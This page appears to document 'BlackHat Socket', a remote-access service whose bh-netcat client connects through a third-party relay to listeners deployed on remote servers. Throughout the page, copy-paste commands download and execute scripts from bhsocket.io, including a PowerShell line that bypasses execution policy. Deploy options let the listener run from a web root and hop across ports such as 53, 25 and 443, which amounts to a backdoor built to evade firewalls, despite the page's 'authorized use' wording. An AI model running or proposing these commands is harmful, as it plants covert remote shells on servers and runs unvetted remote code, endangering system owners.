Linux
Install bh-netcat on your workstation.
bash -c "$(curl -fsSL https://www.bhsocket.io/install)"
bh-netcat -h
bh-netcat -s "SECRET" -iPrivate relay network
Deploy a BH Socket listener on a remote server, install bh-netcat locally, and connect back with the same secret through bhsocket.io. Built for authorized internal server operations and private relay access.
Create an employee account, get your private deploy token, and keep every deployed server secret inside your own dashboard.
Create your account from the BlackHat Socket panel.
Your deploy command includes a private token, so new servers are saved to your dashboard.
Open the panel anytime to copy the secret and connect command for each server.
bh-netcat is the BlackHat Socket client command used to connect through the private bhsocket.io relay. Install it locally, copy a saved secret from your dashboard, and connect to authorized deployed servers.
Use https://www.bhsocket.io/install to install bh-netcat on Linux, macOS, or Windows.
Use https://www.bhsocket.io/y on authorized servers to start a listener and register it to your account token.
Run bh-netcat -s "SECRET" -i from your workstation to open the interactive session.
Run this on the remote Linux/macOS server. It installs bh-netcat there, selects a working relay port, registers the secret in admin, and starts a listener.
Deploy command
bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
The server starts a listener and prints the secret.
Install bh-netcat on your own workstation.
Use the same secret printed by the deploy command.
Run one of these on your own computer. This only installs the client command; it does not deploy or generate a server secret.
Install bh-netcat on your workstation.
bash -c "$(curl -fsSL https://www.bhsocket.io/install)"
bh-netcat -h
bh-netcat -s "SECRET" -iIntel and Apple Silicon are installed directly.
bash -c "$(curl -fsSL https://www.bhsocket.io/install)"
bh-netcat -h
bh-netcat -s "SECRET" -iUse PowerShell, or Git Bash/WSL with the bash installer.
powershell -ExecutionPolicy Bypass -Command "iwr https://www.bhsocket.io/install.ps1 -UseB | iex"
Git Bash: bash -c "$(curl -fsSL https://www.bhsocket.io/install)"Connect after install
Use the secret printed by the server deploy command.
bh-netcat -s "SECRET_FROM_DEPLOY" -i
Custom deploy settings
Use these environment variables before the deploy command when you need a custom path, temp directory, host, relay port, or fixed secret.
BH_PREFIX chooses where bh-netcat is installed on the remote server. The command is written to $BH_PREFIX/bin/bh-netcat.
BH_PREFIX="$HOME/.local" bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
HOME is used when no prefix is set. TMPDIR controls temporary downloads and the deploy listener pid/log files.
HOME=/var/www TMPDIR=/tmp bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
BH_HOST sets the relay hostname. BH_PORT sets the default relay port. BH_PORTS is only for deploy and controls the ports tested in order.
BH_PORT=443 BH_PORTS="443 7350 53 25 67 8080" bash -c "$(curl -fsSL https://www.bhsocket.io/y)"
S sets the secret for server deploy. Use this when you want to redeploy the same server secret.
S="SECRET_FROM_DEPLOY" bash -c "$(curl -fsSL https://www.bhsocket.io/y)"